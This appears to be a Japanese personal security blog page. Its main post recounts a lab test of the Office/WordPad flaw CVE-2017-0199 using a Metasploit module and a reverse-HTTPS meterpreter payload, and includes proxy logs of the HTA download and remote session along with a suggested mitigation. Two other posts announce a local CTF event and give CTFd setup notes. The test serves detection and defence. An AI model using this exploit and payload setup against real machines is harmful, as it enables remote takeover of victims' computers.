2017年07月02日

Microsoft Office/WordPadの脆弱性CVE-2017-0199を検証してみた。

 2017年6月27日にウクライナなど世界各地でランサムウェア「petya(ペトヤまたはペチャ)」の感染被害が発生しました。初期感染経路に関する情報は輻輳しておりますが、いくつかのセキュリティベンダーからは、2017年4月に公開された脆弱性CVE-2017-0199が悪用されたとの情報もあります。

 この説が本当だとすると、不審メールの開封や改ざんされたウェブサイトの閲覧により感染することになり、国内においても被害の発生が懸念されます。 そこで、CVE-2017-0199による攻撃発生時にどのような特徴があるのか、また、ログなどから検知できないのか検証してみました。

検証環境


[ソフトウェア]
・攻撃PC:Debian8, Metasploit Framework ver.4.14.28-dev
・被害PC:Windows7 Professional SP1 64bit, Microsoft Office2010 SP2 32bit

[ネットワーク構成]
 攻撃PC(192.168.15.10)
  │
 Firewall(192.168.15.100/192.168.100.100)
  ├ Proxy(192.168.100.50)
 Firewall(192.168.15.101/172.16.0.100)
  │
 被害PC(172.16.0.130)

検証手順

(1)攻撃PCにてmsfconsoleを起動し、エクスプロイトを実行

   exploit: windows/fileformat/office_word_hta
   payload: windows/meterpreter/reverse_https

(2)上記コマンドにて作成された攻撃用ファイル「msf.doc」を被害PCに移動

(3)被害PC上で「msf.doc」をWORDにて開封

検証結果

(1) 検証手順(3)によりWORD文書を開封すると、「この文書は、他のファイルへのリンクが含まれています。リンクされたファイルのデータでこの文書を更新しますか?」というダイアログメッセージが表示されました。

WORD

(2)ダイアログメッセージには、「はい」、「いいえ」、「ヘルプ」の3種類のボタンがありますが、何も操作しなくとも、バックグラウンドで攻撃PCにHTTP接続し、HTAファイルがダウンロードされ実行されました。

(3)HTAファイルの実行により、攻撃PCにmeterpreterセッションが確立され、遠隔操作に成功しました。

Metasploit

[補足]
・Windows7 Home Edition 32bit版にて同様の検証をしたところ、何故か攻撃が成功しませんでした。(原因は不明)

攻撃発生時の特徴

・プロキシログに「hta」ファイルのアクセスログが残ります。なお、ユーザーエージェントはInternet Explorer(デフォルトブラウザ)のものが記録されます。

[攻撃時プロキシログ]

#cat /var/log/squid/access.log
02/Jul/2017:22:34:11 +0900.388   4472 172.16.0.130 TCP_MISS/200 6902 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
02/Jul/2017:22:34:11 +0900.825    139 172.16.0.130 TCP_MISS/200 6850 GET http://192.168.15.10/default.hta - DIRECT/192.168.15.10 application/hta "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)"
02/Jul/2017:22:34:16 +0900.365   3349 172.16.0.130 TCP_MISS/200 962300 CONNECT 192.168.15.10:443 - DIRECT/192.168.15.10 - "-"

    
※1〜2行目が脆弱性攻撃のログ、3行目がMeterpreterによる遠隔操作セッション確立のログ。
※1〜2行目のログが記録されたとしても、脆弱性攻撃が成功したとは限らない。

感想

・セキュリティパッチを適用することが最善策なのですが、何らかの理由により適用が困難な場合は、プロキシサーバなどでContent-Type「application/hta」を遮断することで、脆弱性攻撃を緩和できるかもしれないと感じました。(私の環境では、通常のブラウジングでHTAファイルにアクセスすることがないため、対策による影響も小さいのかなと思っています。)

posted by やまと at 23:37| Comment(0) | 実験日誌

2017年06月12日

「仙台CTF」の募集を開始しました

 MISA 一般社団法人宮城県情報サービス産業協会様が主催する「仙台CTF」が開催されます!
仙台CTFは、サイバー攻撃による被害を低減するために必要となる、情報セキュリティ技術を学ぶ「セキュリティ技術勉強会」と、技術力を競う「セキュリティ技術競技会(CTF)」を行うセキュリティイベントです。

 私は実行委員として、勉強会講師およびCTF問題作成を担当させていただきます。
初心者の方も気軽にご参加ください。

  • 開催日時:11月12日(日)10:00〜17:00(9:30受付開始)
  • 会場:仙台市市民活動サポートセンター 地下1階 市民活動シアター
  • 参加費:1,000円 (当日受付時に支払い)

開催案内の詳細はこちら

タグ:CTF
posted by やまと at 00:18| Comment(0) | 実験日誌

2017年02月19日

CTFスコアサーバ「isislab/CTFd」の検証

 仙台でCTFを企画したいと思いつつなかなか準備ができていなかったのですが、今年こそ実現したいと思っています。問題のネタはいくつか考えてあるのですが、CTFを開催するためのスコアサーバは未検討だったため、いろいろと情報収集してみたところ「isislab/CTFd」が良さそうだったので検証してみました。

 デモサイトも公開されており、事前に動作を確認することができますので、ご興味がある方はどうぞ。なお、本記事は、VMware Workstation9 上のDebian8 Jessie(メモリは1GBを割り当て)にて動作検証しました。

[isislab/CTFdの特徴]

 シンプルですが、CTF運営に必要な最低限の機能は有していると思います。
  • 参加者はチーム名とパスワードを登録してログインします。ただし、チームに対してユーザーを登録することができません。そのため、チーム戦形式にする場合はパスワードをメンバーと共用する必要があります。どちらかというと個人戦向きだと思います。
  • トップ10のグラフ表示機能付きのスコアボードがあります。
  • 問題には複数のファイルを添付することができます。また、問題にジャンルを設定し分類することもできます。
  • 事前に登録しておいた問題の一部を「非表示」にしておき、状況を見ながら適宜表示していくことができます。(問題が解かれたら、自動的に次の問題をオープンする機能はありません。)
  • 問題一覧が表示されるメインページの他に、自由にページを追加することができます。この機能は、例えば「運営者からのお知らせ」画面などに活用できます。

インストール手順

パッケージのダウンロード

公式サイト(https://github.com/isislab/CTFd)から「Clone or download」-「Download ZIP」を選択し、パッケージをダウンロードします。(ファイル名 CTFd-master.zip)

Official site

インストール

(1) ZIPの展開

#unzip CTFd-master.zip
    

(2) 環境設定スクリプトの実行

 環境設定スクリプト(prepare.sh)を実行すると、CTFdの実行に必要なパッケージがaptコマンドにより導入されます。
#cd CTFd
#./prepare.sh
(途中でエラーが発生して停止する)
    

(3) 手動によるPythonパッケージの追加

 次のPythonパッケージは環境設定スクリプトでインストールできなかったため、手動でインストールします。
#easy_install bcrypt
#easy_install werkzeug
#easy_install flask
    

(4) CTFdの起動

 次のコマンドにより、CTFdが起動します。標準設定ではポート4000番でHTTP接続を待ち受けします。
#python serve.py
    

 以上でインストールは終了です。

設定変更

(1) ポート番号の変更

 ポート番号を変更したい場合は、serve.pyを編集してください。
serve.pyの内容
from CTFd import create_app

app = create_app()
app.run(debug=True, threaded=True, host="0.0.0.0", port=80)
    

(2) トップページのロゴ画像の変更

 ロゴ画像を変更したい場合は、次の画像を差し替えてください。
CTFd/static/original/img/logo.png

(3) DBファイルの初期化

 ある程度いじった後に初期状態に戻したくなった場合は、CTFd/ctfd.dbを削除すると、ユーザー情報や問題情報などが初期化され、初回アクセス画面が表示されます。

画面イメージ

 初回アクセス時の画面です。管理者アカウントを登録します。

Official site


 管理者アカウントを登録した直後の画面です。右上の「Admin」をクリックすると管理者画面に遷移し、問題登録などの管理者機能が利用できます。

Official site


 試しに問題をいくつか入力してみました。これは一般ユーザーがログインした直後の画面です。問題一覧が表示されています。日本語も正しく表示されています。

Official site


 問題をクリックすると、サブウィンドウで問題内容が表示されます。青いボックスが添付ファイルです。問題が解けたら、最下部の「Key」欄に入力し「SUBMIT」をクリックすればフラグが送信されます。

Official site


 解いた問題は緑色で表示されます。

Official site



以上です。
posted by やまと at 23:34| Comment(0) | 実験日誌